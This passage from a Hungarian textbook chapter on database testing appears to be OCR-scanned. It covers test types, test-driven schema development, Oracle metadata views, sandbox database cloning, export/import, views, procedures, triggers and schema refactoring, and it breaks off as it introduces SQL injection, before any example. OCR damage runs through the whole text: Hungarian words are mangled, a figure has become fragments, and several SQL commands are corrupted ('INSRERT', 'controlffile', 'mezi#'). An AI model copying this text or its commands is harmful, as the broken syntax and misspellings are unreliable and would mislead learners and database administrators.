* hatékony adatkezelést tamogaté végrehajté motor alkalmazasa
» konkurrens hozzéaférések szinkronizalt végrehajtasa

Mint lathato, az adatbazis rendszerek tébb modult foglalnak magukba, hiszen tartalmaznak
adatttarolé funckiokat, eréforras menedzseld funkcidkat és programkod végrehajtéd
funkcidkat is egy egységben.Emiatt szokas az adatbazisok tesztelését Oszetettebb
feladatnak tekinteni, mely a mar megismert szoftver teszettelési mechanizmusok
integralasara épdl.

Az adatbéazis tesztelése azonban legalabb ugyanolyan fontos 1épés a szoftverrendszerek
fejlesztése soran, mint az alkalmazasok kédjanak tesztelése, hiszen az adatbazis jelenti az
alkalmazasok informacié forrasat. Ezen fliggdség miatt a roszz adatbazis mikodés kihat az
egész alkalmazasra. Mivel a fejlesztés soran az alkalmazasi kéd az adatbazis sémara épll,
ezért a séma mddositas kdltsége nagysagrenddel nagyobb érték(, mint a koéd javitdsanak
koltsége. Egy 1990-es Oracle felmérés szerint az alabbi kéltségvonzattal birnak az egyes
hibatipusok:

hibas hardver relativ koltsége: 15% és relativ gyakorisaga: 3%

hibasan mikddd OS relativ kéltsége: 15% és relativ gyakorisaga: 5%

hibasan mikddd DBMS relativ kéltsége: 10% és relativ gyakorisaga: 5%

hibas adatbazis séma relativ kéltsége: 45% és relativ gyakorisaga: 15%

hibasan mikddé alkalmazasi program relativ kdltsége: 15% és relativ gyakorisaga: 72%

Az alkalmazas szempontjabdl alapvetd fontossagu tehat, hogy olyan adatbazis valosuljon
meg, amely helyesen és hatékonyan mikddik, s lehetévé teszi a séma rugalmas és
biztonsdgos modositasat. Az adatbazi tesztelés 6sszetettségét jol jellemzi az a tény, hogy
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ilyenkor nem pusztdn az adatbazis sajat belsé min&ségét kell vizsgalni, hanem a ra
éplilé alkalmazasok mikddését is. Az alkalmazasok ugyanis fliiggé kapcsolatban allnak az
adatbazissal. Az adatbéazis tesztelésénél attételesen az alkalmazasok tesztelését is érintd
elemeket is végre kell hajtani.

A fenti igényeknek megfelelen az adatbazisok vonatkozasaban tébbféle teszt
végrehajtasara is szilkség lehet. Az adatbazis teszetlésnek is alapvetéen kétféle médija
lehet: fekete doboz (black box) vagy éatlatszé doboz (clear box) megkdzelités. A black
box méd esetén nem foglalkozunk az adatbazis belsé objektumaival, csak az adatbazisbol
kinyert adat értékeket vizsgaljuk, azaz azt tezsteljik egy megadott kérdésre az elvart valasz
jon-e vagy sem. Ez ugyan egyszerilibb tesztelési eszkézbket és ismeretek kivan, viszont
rendszerint nagyobb idékoltséggel jar és kevesebb belsd részlet fedheté le vele. Ennek
oka, hogy a tesztesetek nem fedik le a teljes allapotteret, 6szetettt bemend adatok esetén
nem tér ki a teszt minden lehetséges esetre. A clear box megkézelitésben az adatbazis
objektumok kodjat is eléjik és azok kodjan hajtodnak végre a tesztek. Mivel ekkor az egyes
egységek tesztelésénél jelentdsen kisebb allapottérel lehet dolgozni, nagyobb az esélye,
hogy lefedettebb lesz a tesztelés is. Ezen modszer viszont az egyes objektumok kédolasnak
és mikddésének alapos ismeretét igényli.

Az adatbazis tesztelés masik megkoézelités mddja az adatkezelési igények oldalarél
modularizalja a tesztelés folyamatat, azaz ekkor az egyes kritériumok teljestlését
ellenérizzik, egy tesztben rendszerint egy szempontra figyelve. E modszer 6 elénye, hogy
célspecifikus tesztelési eszkdzok és moddszertanok alkalmazhatok és segitségével joval
nagyobb lefedettség érhetd el. Az adatbazisoknal az alabbi tesztelési teriletek kiilénithetdk
el:

Adatbazis séma teszt (Schema A séma ellenérzésének f& célja kideriteni, hogy a

test) sémaban minden igényelt informaciéelem benne van-
e és az egyes elemek egyértelmien azonosithatok-
e. A sématervezése soran hibat okoz, ha kimaradnak
egyes adatelemek vagy egy adatelemet t6bbféle
értelmezésben is felhasznédlnak. A séma vaéltozasat
kévetben szokas tesztelni, hogy nem keriltek-e
ki véletlenil olyan elemek,melyekre még élnek a
jivatkozasok az alkalmazasokban.

Funkcionalitasi teszt (Feature A funkcionalitas tesztnél elsésorban az adatbazisban

test) tarolt eljarasok, aktiv elemek viselkedését tesztelik.
Ennek soran ellendrizni kell, hogy a minden uzleti
funkcibhoz Iétezik-e aktiv elem és a meghivott
modulok a helyes eredményt adjak-e és nem okoznak-
e nem tervezett mellékhatasokat. A funkcionalitasi
teszt mechanizmusa all legkézelebb a hagyomanyos
prograozasi nyelvek tesztelési médszertanahoz, hiszen
itt is kddegységeket kell tesztelni.

Adatintegritasi teszt (Integrity Az adatok integritasi tesztjében ellendrizni kell, hogy

test) a megadott integritasi feltételek megfelelnek -e az
Uzleti modellben megadott szabalyoknak és ezen
szabalyok valdban érvényesiinek-e., Adatbazis szinten
az integritasi elemek kézé tartoznak a PRMARY KEY
feltételek, az egyed hivatkozasi szabalyok, a NOT NULL ,
UNIQUE és CHECK megkétések valamint a DEFAULT
opciok.

Védelmi teszt (Security test) A védelmi teszt soran vizsgalni kell, hogy az
egyes adatokhoz valé hozzaférés megfelel-e az Gzleti
szabalyoknak és az adatbazisban definialt védelmi
elemek megfeleléen mikddnek-e.
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Terhelési teszt (Load test) A terhelési teszt soran ellen6rzésre keril, hogy
az adatbazis tervezett architekturdja teljesiteni tudja-
e a terhelésre vonatkoz6 elvarasokat. A terhelési
teszt soran a megadott adatmennyiség betdltését,
mentését ellendérzik, illetve megnézik a megadott szamu
konkurrens kérés feldolgozasa az elvat valaszidén belll
lefut-e.

Hatékonysagi teszt (Query cost A teljesitmény teszt célia a valaszidék ellenérzése

test) a fontosabb és gyakoribb Ilekérdezések esetén.
Mivel a lekérdezési hatékonysag javitasa, a
mdvelet optimalizalas 6sszetett adatbazis moédositasokat
igényelhet.

A tesztelés egy tovabbi osztadlyozasi alternativdja a tipikus adatbazis fejlesztési és
karbantartdsi mlveletekhez két8dé tevékenységek szerinti csoportositds. Az adatbazsi
életében t6bbszor is eléfordulhat, hogy olyan valtozasok kdvetkeznek be, melyek az
adatbazis ujboli tesztelést igényli. A fontosabb tevéknység csoportok:

Uj informacio6 elem tesztelése Az egyik leggyakoribb tesztelési feladat az 0] informacié
elemek beviteléhez illetve a létez6 informacié elemek
atrendezéséhez kapcsolédik. Mivel az adatbazis egy
hosszabb idére sz6l6 adatstrukturat jelent, hasznélata
soran az Uzleti modell nagy valészinliséggel megvaltozik.
A véltozas jelentheti uj igények megjelenését, igények
modosulasat és megsz(inését. Mindegyik esetben az
adatbazis séma is megvaltozik. A séma modosulasakor
a tesztek az uj, mdédosult elemre vonatkozé teszeteket
jelentenek. Ezen egyedi tesztek kidolgozasa az
egyszerlibb feladatok kdzé tartozik, hiszen lokalizaltabb
a vizsgalando terilet, jol kérilhatarolhaté ez érintett
adatelemek kore.

Regresszios teszt valtozas utan A regreszzsios teszt a korabban mar ellenérzétt tesztek
ismételt lefuttatasat jelenti. Mivel egy adatbazis elem
valtozdsa kihathat a tébbi adatbazis elemre, ezért a
modositas utan célszer( ellenérizni, hogy nem okozott-
e sérilést a médositas a korabban mar miikddé funkciok
tekintetében.

Telepitlési teszt A sémaba vagy a funkcionalitasi listaba kerilé )
elemeknél ellendrizni kell, hogy azok megfelelnek-e
a tervekben szereplé elbirasoknak, kévetelményeknek.
A telepitési tesz telés soran uj tesztelemek kerllnek
kiprobalasra.

Uj fizikai elem tesztelése Az adatbazis fejlesztés optimalizalasi, Uj architektura
kialakiitasi fazisaiban a logikai réteg nem valtozik, de
alatta uf fizikai réteg kertl kialakitasra. A fizikai rétegben
a megvaltozott szerkezet megvaltozott teljesitményt fog
mutatni, ezen tesztek célja az elvart teljesitmény mutatok
ellenérzése.

Ugyan az adatbazisok tesztelése fontos feladat, mégis kevésbé terjedt el a gyakorlatban,
ritkdbban fordul el6, mint a hagyomanyos program tesztelés,. Ennek szamos oka van, melyek
kozill kiemelhetdk az alabbi tényezék:

» hianyzé szakmai ismeretek a teszteléssel kapcsolatban az adatbaziskezel6
szakembereknél
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* nagyobb kéltségvonzat
» kevesebb tdmogat6 eszkdz all rendelkezésre

A mindségi szoftverfejlesztés igénye valdszinlileg magaval hozza a tesztelés szerepének
nagyobb elismerését az adatbazis vilagban is. A kbvetkez6 fejezetekben a tesztelés orientalt
adatbazis fejlesztés alapelveit mutatjuk be.

TDD alapu adatbazis fejlesztés

Az adatbazis vulagban is nagy szerepe van a tesztelés orientalt fejlesztésnek, vagyis a TDD
(test driven development) médszertannak. A TDD médszertan alapelvei a kdvetkezokben
foglalhatok &ssze:

Fokozatos adatmodellezés

A fokozatos modellezés szemlélete azt fejezi ki, hogy az adatbazis séma és védelmi,
hatékonysagi modelljét nem egy lépésben, a fejlesztés elején alakitjuk ki, hanem
menetkdzben tébb fazison keresztil finomodik a modell. A tervezés els6 fazisaban csaj
egy nagyvonalu terv all rendelkezésre, amely tartalmazza a f6 informacié elemeket, de
nem téar ki minden részletre. A projekt fejlédése soran egyre finomabb kép alakul ki a
kovetelményekrdl és a modellezett teriiletrél. Ezen finomitasok fokozatosan éplinek be az
adatbazis modellbe. A tervezés fontosabb Iépései:

1. indulé, elsddleges kbévetelmény modellezés

2. kdvetelmények pontositasa

3. Uj modellelemek beolvasztdsa

4. kodolas

5. tesztelés

6. vissza a 2. pontra

A fent modell tehat egy folyamatos és fokozatos modell és program finomitast és kozelitést

tartalmaz, ahol a tevékenységek fontos eleme az ismétlédd, egyre atfogdbb tesztek
lefutttasa.

1.1. abra - A TDD alapu fejlesztés lépései

Kad Teszi

elGallitdsa futtatasa

l slkertelen
Kad

elfogadisa |efedye 7 madositdsa
igen

KEad Minden teszt

Vissziranyu adatmodellezés

A visszirdnyu, regresszids tesztek szerepe, hogy az adatbazis séma moédositasa utan
meggy&z6dhessiink arrél. hogy a korabban megvalésitott funkcidk tovabbra is érvényesek,
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j6l mikddnek. A biztonsag és minéség orientélt fejlesztés alapelve, hogy ezen teszteket
minden valtozas utan lefuttassuk, tehat a tesztelés tualjdonképpen a moédositas részévé
valik. Ezen megkoézelités egyik markans képviselbje az el6tesztelé6 programozas (TFD,
test first development), mely el6irja, hogy a tesztek elkészitése legyen az els6 1épés a
fejlesztésben, mivel ugyis addig kell médositani a modellen, amig a kapcsolodé tesztek le
nem futnak. A TFD alapu fejlesztés f6bb lépséei:

1. indulé teszt el6allitasa a kivant funkcidhoz

2. ateszt futtatasa; ha sikeres at lehet térni a kévetkez6 funkciéra és igy vissza az 1. ponra;
ha nem sikeril tovabblépés a 3. pontra

3. a modell médositasa egy kisebb, kezelheté mértékben

4. ateszt futtatasa; ha sikeres at lehet térni a kovetkezé funkciora és igy vissza az 1. ponra;
ha nem sikertl visszaépés a 3. pontra

Az TFD megkdzelités elébnye, hogy a tervezd jobban atgondolja a célokat, mélyebben
feltarodnak az igényelt valtozasok jellegzetességei. Az elkészitett tesztek jobban
lokalizalodnak egy-egy problémakérre ezért alaposabban ellen6rzés hajtodik végre.
Természetesen ennek velejaréja, hogy nagyobb feladatok fog jelenteni a tesztek megirasa
és végrehajtasa. Tovabbi eldnynek tekinthetd az is, hogy a TFD megkdzelitésben a fejleszté
hamarabb lezarhatja az egyes modulok fejlesztését, hiszen hamarabb kap visszajelzést az
elvégzett munka minéségérdl.

Verzio kovetés biztositasa

A fokozatos adatbazis fejlesztés soran el6fordulhat, hogy egy adott moédositas nagyon
sikertelennek bizonyul. Ekkor célszerlbb ujra visszatérni ez el6z6 érvényes, helyes
allapothoz, mint foltozgatni a mar megirt médositasokat. A korabbi allapotokhoz toérténé
visszatérés egyfajta verzidkdvetést igényel, hiszen megdérizzik a korabbi fejlesztési
allapotokat. Az adatbazis séma menedzsmentjének egyedi vonasa, hogy tébb elemet is le
kell fednie. A verzidkezelésbe bevonandé elemek kére:

adatbazis objektumok (table, view, user,...) szerkezet leirasa
védelmi beallitasok

integritasi beallitasok

adatbazis koédok (tarolt eljaras, trigger,..)

adatbazis paraméterek

A fenti adatok két nagy forrasbél szedhetdk dssze:

adatbazis metaadat tablak tartalma
kiilsé konfiguracios allomamyok tartalma

A piacon léteznek gyari megoldasok, mint példaul az SVCO rendszer az Oracle RDBMS-
hez. Az SVCO rendszer egy teljesen PL/SQL koédban megirt verzio kdvetd rendszer,amely
az Oracle szerveren bellll egy kilon adatbazisban tarolja le a kijelolt adatbazis sémaiban
bekdvetkezud valtozasokat. A verzidketelés természetsen térténhet egyedi megoldassal, az
érintett leiré elemek masolasaval és kimentésével. Az Oracle esetében tobbtucat metaadat
nézeti tabla rendelkezésre DBA hataskorben a séma adatok kiolvasasara. Néhany fontosabb
sémaleir6 tabla:

+ DBA_TABLES: adatbazis tablak adatai

DBA_COLUMNS: adattabla mezék leirasa

DBA_TAB_PRIVS: objektum jogok leirasa

DBA_USERS: felhasznaldl adatai
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DBA_CONSTRAINTS: megszoritasok leirasa

DBA_ROLES: szerepkoérdk adatai

+ DBA_PROCEDURES: tarolt eljarasok adatai

+ DBA_SOURCE: téarolt eljarasok kodjai

A fenti metaadat allomanyok tartalmanak kinyerésére tébb maod is kinalkozik:
+ SELECT * FROM .. : tartalom kézvetlen lekérdezése

+ COPY FROM forras_db TO cél_db [CREATE | REPLACE] tabla USING lekérdezés : tabla
atmasolasa

« trigger kotése a tartalom moédositasahoz : CREATE TRIGGER AFTER UPDATE ON tabla
FOR EACH ROW ..... A trigger térzsében lehet szerepeltetni a tartalom kiolvasasat és
masolasat végz6 utasitasokat..

* IMPORT segédprogram futtatasa a magadott tablakra
Az egyes adatbazis objektumok séma leirdsakor hasznos informacié a kapcsolddo jelentés
magyarazat. Ehhez az Oracle-ben a

COMMENT ON objektum IS szdveg;

SQL parancs hasznalhaté. A fenti parancs segitségével a jelentést magyarazé széveget
adhatunk a sémahoz. A megadott leiras a

SELECT COMMENTS FROM USER TAB COMMENTS WHERE ...;
SELECT COMMENTS FROM USER COL COMMENTS WHERE ...;

parancsokkal kérdezheték le.

Adatbazis homokoz6k, munkakérnyezetek biztositasa

A hagyomanyos szotfer fejlesztéshez hasonléan az adatbasisok esetében is tobb fazisbdl
all a fejlesztés, ugymint tervezés, kodolas, tesztelés és bevezetés. Ezen fazisok eltérd
igényeket jelentenek az adatbazissal szemben, hiszen mig példaul a kédolas szakaszdban
még el6fordulhatnak hibak (a hiba nélkil kédolas igen ritka jelenség), addig a bevezetésnél
mar nem szabadna hibakat tartalmaznia a rendszernek. A mikddd rendszernél a stabilitas
a legfonbtosabb, a fejleszté rendszernél pedig a rugalmassag. Ezen eltéré kdvetelmények
miatt célszerl az adatbazist is tébb példanyban megvalésitani, az egyes munkacsoportoknak
sajat adatbazis kornyezetet biztositani. Az ilyen egyedi igényeket kielégité adatbazis
példanyokat nevezik homokozéknak (sandbox). Az adatbazis fejlesztésnél az alabbi
homokoz6 példanyokat szokas megkulénbdztetni:

« fejleszt6i kornyezet (development sandbox):

+ projekt integraciés kérnyezet (project integration sandbox):
» demostraciés kdrnyezet (demo sandbox):

* bevezetési teszt kdrnyezet (pre-production test sandbox):

» Uzemi, éles kdrnyezet (production)
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1.2. abra - Adatbazis valtozatok, homokozodk
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Az egyes példanyok létrehozasa térténhet manualisan, egyedi DBA parancsokkal is, A
kévetkezd6kben bemutatjuk az adatbazis masolas paranvcsait az Oracle DBMS példajan
keresztil [Jeff Hunter, Sr. Database Administrator: http://www.idevelopment.info/data/Oracle/
DBA_tips/Backup_and_Recovery/BandR_2.shtml]

1. Az adatbazis aktudlis allomanyainak szambavétele, majd méasolasa egy Uj helyre. Az
allomanyokat az alabbi parancsokkal lehet felderiteni:

select name from v$database;
select name from v$datafile;

2. Uj inicializacios allomany készitése. Ehhez az INITx.ORA allomanyt kell atmasolni és U
nevet adni. A inicializaciés allomanyban az alabbi paramétereket kell aktualizalni:

db_name

control_files
audit_file_dest
background_dump_dest
log_archive_dest
core_dump_dest
user_dump_dest

3. Vezérlé allomanyok létrehozatala. ehhez a forras control file tartalmat kell atmasolni.
Ehhez az alabbi SQL parancsot kell kiadni:

alter database backup controlfile to trace;
Ezt kdvetben az 0 vezérld allomanyt eeldallito SQL parancsort kell létrehozni. A
parancssor szerkezte:

STARTUP NOMOUNT
CREATE CONTROLFILE SET DATABASE "xxx" RESETLOGS NOARCHIVELOG
MAXLOGFILES xx
MAXLOGMEMBERS xx
MAXDATAFILES xx
MAXINSTANCES xx
MAXLOGHISTORY xx
LOGFILE
GROUP 1 (
'/u03/app/oradata/xxx/redo _g0la.log',
'/u04/app/oradata/xxx/redo g0lb.log',
'/u05/app/oradata/xxx/redo _g0lc.log'
) SIZE 200K,
GROUP 2 (
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) SIZE 200K,

DATAFILE
'/u08/app/oradata/xxx/system01l.dbf"',
'/u06/app/oradata/xxx/rbs01.dbf"',
'/u07/app/oradata/xxx/temp0l.dbf"',
'/ull0/app/oradata/xxx/userd0l.dbf"',
'/u09/app/oradata/xxx/userx01l.dbf"';

Eztkdvetben lefuttathaté DBA-ként az elébb elkészitett parancssor.
4. Amost létrehozésra el6kaszitett példany élesithetd, elindithatd. A véglegesités parancsai:

alter database recover database until cancel using backup controlffile;
alter database recover cancel;
alter database open resetlogs;

Az egyes koérnyezetekbél a sémak masolasaval majd az elkésziilt verziét atvinni a masik
kérnyezetbe. A teljes adatbazis séma atméasolasra DBMS-be épitett segédprogramok allnak
rendelkezésre. Az Orcale esetében az EXPORT / IMPORT rutinokat lehet alkalmazni ezen
célra. Mindkét parancsnal egy kilén parancsallomanba szokas &sszefoglalni a parancs
paramétereket. A mentés és betdltés tobb kiillénb6zé izemmaodban futhat le:

+ teljes adatbazis atvitele

kijelolt felhasznalé adatait vagy egyéb modon kijeldlt objektumokat érint csak a mavelet
* integritasi elemek ativiheték vagy kihagyhatok

+ adattartalom atvitele vagy kihagyasa (csak séma)

+ jogosultsagai adatok atvitele vagy kihagyasa

Egy minta parancsinditdst ad meg a kévetkez8 parancs:

exp SYSTEM/password FULL=y FILE=dba.dmp LOG=dba.log CONSISTENT=y

Adatbazis ujratervezés folyamata

Az adatbazis ujratervezés egyik fontos jellemzdje, hogy az adatbazist parhuzamosan tébben,
tébb kildmnbodzd alkalmazas is hasznalhatja. Sajnos legtdbbszér nem ismert az adatbazist
felhasznal6 alkalmazasok telies kére. Ez nagy megkététtséget jelent a fejlesztés soran,
hiszen ekkor nem szabad médositani a meglévé interface felliletet megjelenését, a korabban
meglévd adatelemek és adatbazis objektumoknak meg kell maradniuk. Ebben az esetben
a fejlesztés csak olyan lehet, amely bdviti és nem sz(ikiti az elérheté funkciokort, azaz az
alabbi elemekre vonatkozhat:

 Uj adatbazis objektum hozzdadasa

» adatbazis mikodési tarolasi paraméterek modositasa

* megszoritasok térlése

Mivel az adatbazis egy k6zdsen hasznalt eréforras, melynek tartalma, szerkezete az élete

alatt jelenésen megvaltozhat, nagyon fontos, hogy ezen jovébeli médositasi igényekre
tekintettel legylink a tervezés soran. Ehhez minél nagyobb szinten meg kell valésitani az
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adatbazis elérés modularitasat, rétegz6dését. Az adatbazis kezelés vilagdban az aldbbi
eszkodzoket lehet haszonnal alkalmazni a fliggetlenségi szint emelésére:

» Nézeti tablak (VIEW) alkalmazasa: A nézeti tablak olyan szarmaztatott tablakat jelentenek,
melyek mas forrastablakbdl épitik fel tartalmukat, 6k maguk pedig normal tablaként érheték
el a legtébb mivelet soran. A VIEW létrehozas parancsa:

CREATE VIEW vnev AS SELECT-parancs
A nézeti tabla teljes mértékben azonosan viselkedik a normal tablakkal a lekérdezés
esetében:

SELECT .. FROM vnev WHERE .. ;

A modositasi parancs esetében mar korlatozott a hasonlésag. A VIEW-ra kiadott
DML parancs csak akkor fog végrehajtédni, ha a VIEW adatelemei egyértelmien
visszavezethet6k a forrdstabla adatokra. A VIEW hasznalat elényei:

 elrejti a tényleges adattablat

« fliggetlenségi szint a kliens és az adatbazis kéz6tt

+ szarmaztatott adatokat tartalmazhat.

» védelmi funkciokat valésithat meg

A VIEW segitségével elrejthetd az alapstruktira médosulasa, hiszen csak a felhasznalé

altal hasznalt VIEW elemek definiciojat kell médositani.

+ Tarolt eljarasok (STORED PRECEDURE) alkalmazasa: A tarolt eljaras hasonldéan egy
kéztes réteget hoz be a felhasznald és az adatbazis mag kézé. A tarolt eljards magjaban
egy proceduralis egység rejlik, mely a SQL parancsok mellett vezérlési elemeket, valtozé
kezelést és kiils6 segédprogramokat is meghivhat. A tarolt eljaras f6 elénye a nagyobbfoku
rugalmassag, hatranya, hogy kérlilményesebb fejleszteni és tesztelni. A tarolt eljaras
létrehozatala a

CREATE PROCEDURE pnev () AS
tdrzs

paranccsal térténik. A létrehozott eljaras a kliens API-bél rendszerint egy

CALL pnev () ;
utasitassal lehetséges. E mddszer hatranya, hogy nem normal tablaként jelenik meg, belul
végez miveleteket. E korlat megsziintetése a rekordhalmazt visszaado tarolt fliggvénnyel
oldhaté meg. Ezen mechanizmus hasznalatanak lépései az Oracle példaja esetén:

1. Az eredmény rekord szerkezetét leird adattipus létrehozatala:

CREATE TYPE rtipus AS OBJECT (..);

2. A rekordhalmaz szerkezetét leiré tabla-tipus definialasa:

CREATE TYPE ttipus AS TABLE OF rtipus;
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3. Az eredményhalmazt Iétrehoz6 tarolt figgvény kddolasa. Ezen fuggvény visszatérési
érték tipusa az el6z6 l1épésben definialt adattipus:

CREATE FUNCTION fnev (paraméterek) RETURN ttipus IS
pl sgl blokk;

4. A létrehozott fuggvény tabla-szerlien hivhaté meg, melyhez a TABLE fuggvényt kell
alkalmazni:

SELECT * FROM TABLE (fnev(...));

» Szinonimak (SYNONYM) alkamazasa: A szinonima elsédleges szerepe, hogy az adott
elnevezésl objektumokhoz egy Uj alias nevet lehessen hozzarendelni. Az Uj elnevezés
Iényege, hogy

* elrejti a forras adatokat
* elrejti a kliens el6s a forrasséma valtozasat

» Trigger alkalmazésa: A trigger mechanizmus automatikus miveletvégrehajtast tesz
lehetévé. Kivaltja rendszerint egy DML miivelet. A trigger Iétrehozas parancsa:

CREATE TRIGGER tnev AFTER | BEFORE INSERT | UPDATE | DELETE
ON tabla PL-SQL blokk;

A trigger f6 szerepe a fliggetlenségi szint biztositasa esetén abban all, hogy az alaptablak
és a felhasznalo altal érintett tablak kozétti adatmozgas automatizalhaté.

» Sajat séma (SCHEMA) hasznalata: A sajat séma szerepe, hogy kilon sémaba tegyik a
tényleges alapadatokat és a felhasznal6 altal érintett objektumokat, Ekkor a az érintett
kapcsolati objektumokon végrehajtott valtozasok feligyelt médon atvezetésre keriliinek a
forras séma objektumaiba. Ezaltal ugyan tébblet koltség jelenik meg a végrehajtasnal, de
nagyobb fliggetlenség érheté el a fejlesztésnél.

Az adatbazis Ujratervezés altalanos esetben magaba foglalhatia azonban a korabbi
sémaelemek modositasat is.Erre akkor lehet sziikség, ha kideril, hogy a korabbi tervezési
elképzelés nem allja meg a helyét, korrekciéra van sziikség. Ez lehet a terevezd hibaja, de
lehet a kdvetelmények valtozasa miatti esemény is. Ujratervezés esetén kiilénés gonddal kell
kezelni a korabbi funkciok zékkendmentes atvitelét az Uj verzéba. Az adatbazis Ujratervezés
szokasos elemei:

+ Adatbazis ujratervezési stratégia kivalasztasa: ezen Iépésben magat az ujratervezést kell
megtervezni. Nem lehet hirtelen felindulasbél 1ényeges médositasokat keresztulvinni az
adatbazisban.

» A korabbi adatbazisséma kifutattasa: Mint kordbban emlitettiik, az adatbazisoknal nem
minden adatkezel® alkalmazas logikaja ismert pontosan, ezért nem lehet azt sem
pontosan megbecsiilni, milyen hatassal lesz egy adott elem sémajanak megvaltozasa az
alkalmazasokra. Ezen kifutasi id6 6 jellemzéje , hogy a régi séma elemei fokozatosan
mennek at egymasba, esetleg mindkettd egyutt él. Az dtmeneti id6szak egy hosszabb
id6szak, akar egy-két évis is eltarthat.

+ tesztelés az ujratervezés elbtt: Ezen a késébbi pontokban megadott tesztelésnek le kell
fednie minden fontosabb elemet, igy ki kell térnie a

* séma tesztelésére

¢ alkalmazasok adatkezelésének tesztelése
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« adatok értékellenérzése, integritasi szabalyok tesztelése
* jogosultsag ellenérzése
* hatékonysagi kévetelmények ellembrzésére.

+ séma modositasa: az elvégzett mbddositdsokat célszer(i egy verzié kdvetd rendszer
hataskoérében elvégezni, hiszen eléfordulhat, hogy nem bizonyul sikeresnek a médositas
és vissza kell térni a korabbi allapotokhoz. Tovabbi fontos altalanos kdvetelmény, hogy a
valtozasokat lehetéleg minél kisebb egységekben hajtsuk végre, hiszen a nagyobb méretd
feladatoknal nagyobb az esélye a hibazasnak is.

+ tesztelés az ujratervezés alatt

» forrasadatok atemelése: az Uj sémaelemekbe Uj adatokra van sziikség. Az adatok tébb
forrasbdl szarmazhatnak: lehetnek szarmaztatott adatok, melyek a mar letarolt adatokbdl
szamitassal allnak elé. llletve lehetnek killsd forrasbdl atvett adatok. Az adatok beépitését
jelentésen segitik a bet6ltd modulok. Egy ilyen bet6ltd modul a Microsoft Integration
Service komponse, mely heterogén adatforrasokbdl atvett adatokat is 6ssze tud integralni.

» kulsé kezel§ programok médositdsa: A séma elemek modositasa miatt modositéasra
szorulhatnak a kulsé alkalmazésok is. Az Gj funkcidk miatt megvaltoznak az adatbazisok
elérési parancsai és atvett adatszerkezetei is.

» kulsé kezeld programok tesztelése

» regresszids tesztek futtatdsa: a regresszios teszt sikeres lefutas esetén mondhatjuk
el, hogy sikerllt a korabbi funkcidékat megérizni és atvenni az Uj adatbazis sémaba.
A regresszids tesztek is egy gylUjteményt alkotnak, mely készlet maga is dinamikusan
valtozik.

« verzi6 valtas: A sikeres teszt futattasok utan lehet homokozokbdl atvinni az adatbazist a
produkcios valtozatba. Az adatbazisok migralasara tébb at is kinalkozik:

* BACKUP és RESTORE segédprogramok
* EXPORT és IMPORT segédprogramok

» SQL script allomanyok hasznalata

Séma elemek torlése

Ha az adatbazisban a valtoztatas célja korabban létez6 adatbazis elemek elvetése, akkor
a moédositast tébb lépésen keresztil célszerl végigvinni. Az egyes lépések célja, hogy
minél hamarabb észrevegyik az esetleges konfliktusokat és még idében, a nagyobb Iépték(
modositas el6tt feloldjuk az ellentmondasokat. Az adatelemek tériésekor amiatt az alabbi
Iépéseket célszerli végrehajtani:

» Segédtabla létrehozatala az eredeti adatok megdérzésére:

CREATE TABLE seged (...);

» Az adatok atemelése a segédtablaba:

INSRERT INTO seged SELECT * FROM ...;

* Az érintett sémaelem torlés séma szintl elékészitése. Az objektum tipusatol fiiggéen
kulénb6z6 séma atalakitasokra lehet szilkkség. Egy tabla térlésekor példaul sorra kell venni
az alabbi elemeket:

11
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- rajta értelmezett VIEW-k

- rajta értelmezett SYNONYM-ak

- rajta értelmezett tarolt eljarasok

- rajta értelmezett TRIGGER-ek

- oda vonatkozé hivatkozasi megkdtések

Ezen objektumokat mind médositani vagy téréini kell, mielétt a hivatkozott objektumot
médositanank.

+ Az érintett objektum térlése. Az objektum térlése eserén a torlés egyes esetekben tébb
lépésben valésulhat meg. Az Oracle rendszer esetében példaul egy mezé torlésekor
lehetdség van logiai toriése és fizikai térlésre. A logikai torlés esetében a DBMS csak
hasznalaton kivll helyezi a mez6ét, a mivelet parancsa

ALTER TABLE tabla SET UNUSED mezi#;

parancs Oracle esetében:

ALTER TABLE tabla DROP COLUMN mez#;

* A mobdositas tesztelése. A hivatkoz6 és mar médositott elemek (VIEW, TRIGGER,
PROCEDURE,FOREIGN KEY..) mikoédésének ellenérzése.

Uj sémaelem felvietele

A séma bdvitéskor is sziUkség van a hivatkoz6 objektumok sorra vételére, hiszen
eléfordulhat, hogy a hivatkoz6 objektum nem hasznélja ki a mez&szintl fuggetlenség adta
lehet6ségeket. Mig példaul egy

SELECT ml,m2,.. FROM ..

alaku lekérdezés eredménye nem valtozik, ha Uj mez6t adunk a sémahoz, addig a

SELECT * FROM ..

alakban kiadott miveletnél béviil a visszaadott mezdk kore, tehat fel kell készilni annak
fogadasara. llyenkor az uj mez8 neve konfliktusba kerilhet a kliens programokban hasznalt
valtoz6 nevekkel. Ezen Utk6zéseket kell ellendrizni.

Ha szamitott mezdket hozunk be a sémaba, akkor annak megvalositasra tébb lehetdség is
kinalkozik:

+ Egyes DBMS rendszerek kdzvetlenil is tamogatjak a szamitott mez8d adattipus. Az MS
SQL Server esetében az aldbbi médon hozhaté létre szarmaztatott mezé:

create table proba (a integer, b integer, c as a + b);
insert into proba values (1,3);
select * from proba;

A mintaban a C mez6 lesz szamitott mez6, itt az adattipus helyén a szdrmaztatasi parancs
szerepel a tabla definicidéban. Adatok felvitelekor nem lehet ezen mezdknek értéket adni,
de lekérdezéskor ott szerepel a mez6 értéke.

+ Ha a DBMS nem tédmogatja a szamitott mez6t kdzvetlenll, akkor a TRIGGER
mechanizmus alkalmazhato, llyenkor a mez6t mint normal mez6t hozzuk 1étre és a triggert
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a tabla DML miveleteihez kétjik. A trigger feladata, hogy a tdbbi mez6 médosulasa esetén
frissitse a kijel6lt szamitott mez6 tartalmat.

Védelmi tesztek

Az adatbazisban tarolt adatok védelmének biztositasa is az egyik alapveté adatbazis
feladatok kozé tartozik. Az relaciés adatbaziskezdk egyik jellemzéje, hogy SQL parancsok
alakjaban kapja meg a végrehajtandé parancsot. Mivel az SQL nyelv teljes parancskészletet
tartalmaz és egy szringben tébb parancs is johet, a nem megfelel6 SQL széveg karokat
okozhat. Emiattigen fontos, hogy az elkiildétt sz&veg pontosan megfeleljen az elvart alaknak.
Ha nem megfeleld az ellendrzés,akkor kart okoz6 parancsok kerilhetnek végrehajtasra. Ezt
a veszélytipust nevezik SQL Injection tamadasnak.

Az SQL ljnjection esetében a kliens oldalon bevitt SQL alak olyan parancselemeket is
tartalmaz, melyek nem kivant hatassal jarnak. Ezt ugy érik el, hogy a felhasznal6tdl
kapott érték ugy tér el az elvart alaktél, hogy egy veszélyt okoz6 parancsot vagy parancs
részletet is magaba foglal. Példaként vegyunk egy egyszer( nyilvantarrté rendszert, ahol a
